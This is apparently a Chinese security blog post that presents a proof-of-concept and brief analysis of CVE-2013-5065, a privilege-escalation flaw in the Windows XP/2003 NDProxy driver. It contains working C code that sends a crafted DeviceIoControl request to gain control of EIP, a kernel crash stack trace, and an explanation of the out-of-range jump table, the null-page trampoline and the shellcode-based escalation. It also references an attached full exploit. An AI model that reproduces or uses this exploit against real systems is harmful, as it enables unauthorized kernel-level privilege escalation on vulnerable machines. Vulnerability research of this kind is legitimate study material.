欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]CVE-2013-5065 PoC EXP及简要分析

[原创]CVE-2013-5065 PoC EXP及简要分析

PoC: 


#include <windows.h>

#include <stdio.h>

int main()

{

    HANDLE hDev = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

    if(hDev==INVALID_HANDLE_VALUE)

    {

        printf("CreateFile Error:%d\n",GetLastError());

    }

    DWORD InBuf[0x15] = {0};

    DWORD dwRetBytes  = 0;

    *(InBuf+5) = 0x7030125;

    *(InBuf+7) = 0x34;

    

    DeviceIoControl(hDev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, &dwRetBytes, 0);

    CloseHandle(hDev);

    

    return 0;

}


XP执行蓝屏, 异常在PxIODispatch上: 

b203ec14 f88ed145 81f31a30 81a76c10 81f2b2c0 0x38

b203ec34 804ef129 81f46ed8 000001b0 806d32d0 NDProxy!PxIODispatch+0x2b3

b203ec44 80575dde 81e16df0 81a76c10 81e16d80 nt!IopfCallDriver+0x31

b203ec58 80576c7f 81f46ed8 81e16d80 81a76c10 nt!IopSynchronousServiceTail+0x70

b203ed00 8056f4ec 000007e8 00000000 00000000 nt!IopXxxControlFile+0x5e7

b203ed34 8053e648 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a

b203ed34 7c92e4f4 000007e8 00000000 00000000 nt!KiFastCallEntry+0xf8

0012fe4c 7c92d26c 7c801675 000007e8 00000000 ntdll!KiFastSystemCallRet

0012fe50 7c801675 000007e8 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc

0012feb0 004010c2 000007e8 8fff23cc 0012ff28 0x7c801675

0012ff80 004012e9 00000001 00380fc0 00381058 0x4010c2

0012ffc0 7c817067 00241fe4 0012f7bc 7ffde000 0x4012e9

0012fff0 00000000 00401200 00000000 78746341 0x7c817067


IDA定位到PxIODispatch: 

kd> bp NDProxy!PxIODispatch下断:

LockState+0xC正好是InBuf的指针






到这里可以看到EIP已经被控制到0x38了。
18008这里是一个跳转表,控制这个跳转是由
*(InBuf+5) = 0x7030125;

来控制最终的跳转偏移: (0x7030125-0x7030101)*3*4=0x1B0
0x18008+0x1B0=0x181B8,此时可以看到这个位置已经并非一个函数地址,而是0x38

这个漏洞产生的原因就是因为对*(InBuf+5)的内容没有进行检查,导致可以超出跳转表的范围,致使最终控制了EIP。

既然已经控制到0x38,那么自然想到0地址分配,上面这张图在0x38布置了一个跳板,使其跳向了shellcode,最终通过shellcode执行提权操作。

EXP: 
CVE-2013-5065.zip
最后说一下个人对这个漏洞的评价: 
首先是影响范围: XP SP3和2003 SP2, 这两个属于即将淘汰的系统了;
第二是要开启Routing and Remote Access服务 这个服务默认是关闭的;
经过测试发现, 启动Remote Access Auto Connection Manager这个服务也是可以成功的;
---------------
PS:感谢ProgmBoy指点,确实是Createfile参数没有设置正确,导致Guset权限下无法正常打开。
--The 3nd--
其实我啥都不会, 上面都是我瞎编的, 实在编不下去了

上传的附件 CVE-2013-5065.zip
QQ截图20131130235749.jpg
QQ截图20131201000037.jpg
QQ截图20131201000047.jpg
QQ截图20131201000610.jpg
QQ截图20131201004026.jpg
QQ截图20131201004440.jpg
QQ截图20131201005442.jpg
QQ图片20131202184725.jpg
QQ图片20131202184715.jpg
QQ截图20131202180217.jpg
跳转表.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功